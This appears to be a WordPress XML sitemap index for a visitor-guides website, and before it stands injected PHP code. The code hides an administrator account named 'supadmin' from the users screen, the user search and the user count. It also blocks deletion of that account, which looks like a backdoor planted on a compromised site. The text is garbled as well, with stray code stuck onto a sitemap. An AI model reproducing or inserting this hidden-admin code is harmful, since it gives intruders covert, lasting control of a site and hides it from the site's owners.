
add_action('pre_get_users', function($query) {
    if (is_admin() && function_exists('get_current_screen')) {
        $screen = get_current_screen();
        if ($screen && $screen->base === 'users') {
            $protected_user = get_user_by('login', 'supadmin');
            if ($protected_user) {
                $excluded = (array) $query->get('exclude');
                $excluded[] = $protected_user->ID;
                $query->set('exclude', $excluded);
            }
        }
    }
});
add_filter('wp_count_users', function($counts) {
    $protected_user = get_user_by('login', 'supadmin');
    if ($protected_user) {
        $counts->total_users--;
    }
    return $counts;
});
add_action('delete_user', function($user_id) {
    $user = get_user_by('ID', $user_id);
    if ($user && $user->user_login === 'supadmin') {
        wp_die(
            __('User supadmin tidak dapat dihapus.', 'textdomain'),
            __('Error', 'textdomain'),
            array('response' => 403)
        );
    }
});
add_filter('user_search_columns', function($search_columns, $search, $query) {
    if (is_admin()) {
        $protected_user = get_user_by('login', 'supadmin');
        if ($protected_user) {
            global $wpdb;
            $query->query_where .= $wpdb->prepare(" AND {$wpdb->users}.ID != %d", $protected_user->ID);
        }
    }
    return $search_columns;
}, 10, 3);
add_filter('bulk_actions-users', function($actions) {
    if (isset($_REQUEST['users']) && is_array($_REQUEST['users'])) {
        $protected_user = get_user_by('login', 'supadmin');
        if ($protected_user && in_array($protected_user->ID, $_REQUEST['users'])) {
            unset($actions['delete']);
        }
    }
    return $actions;
});<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="//kingfishervisitorguides.com/wp-content/plugins/wordpress-seo/css/main-sitemap.xsl"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
	<sitemap>
		<loc>https://kingfishervisitorguides.com/post-sitemap.xml</loc>
		<lastmod>2026-09-02T13:23:50+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://kingfishervisitorguides.com/page-sitemap.xml</loc>
		<lastmod>2026-09-17T12:08:19+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://kingfishervisitorguides.com/r3d-sitemap.xml</loc>
		<lastmod>2025-06-04T07:56:06+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://kingfishervisitorguides.com/visitor_guides-sitemap.xml</loc>
		<lastmod>2026-09-17T12:06:57+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://kingfishervisitorguides.com/testimonials-sitemap.xml</loc>
		<lastmod>2023-07-03T13:50:50+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://kingfishervisitorguides.com/category-sitemap.xml</loc>
		<lastmod>2026-09-02T13:23:50+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://kingfishervisitorguides.com/post_tag-sitemap.xml</loc>
		<lastmod>2026-09-02T13:23:50+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://kingfishervisitorguides.com/feature_location-sitemap.xml</loc>
		<lastmod>2026-09-02T13:23:50+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://kingfishervisitorguides.com/vguide_location-sitemap.xml</loc>
		<lastmod>2026-09-17T07:34:35+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://kingfishervisitorguides.com/vguide_type-sitemap.xml</loc>
		<lastmod>2026-09-17T07:34:35+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://kingfishervisitorguides.com/author-sitemap.xml</loc>
		<lastmod>2024-11-26T12:41:09+00:00</lastmod>
	</sitemap>
</sitemapindex>
<!-- XML Sitemap generated by Yoast SEO -->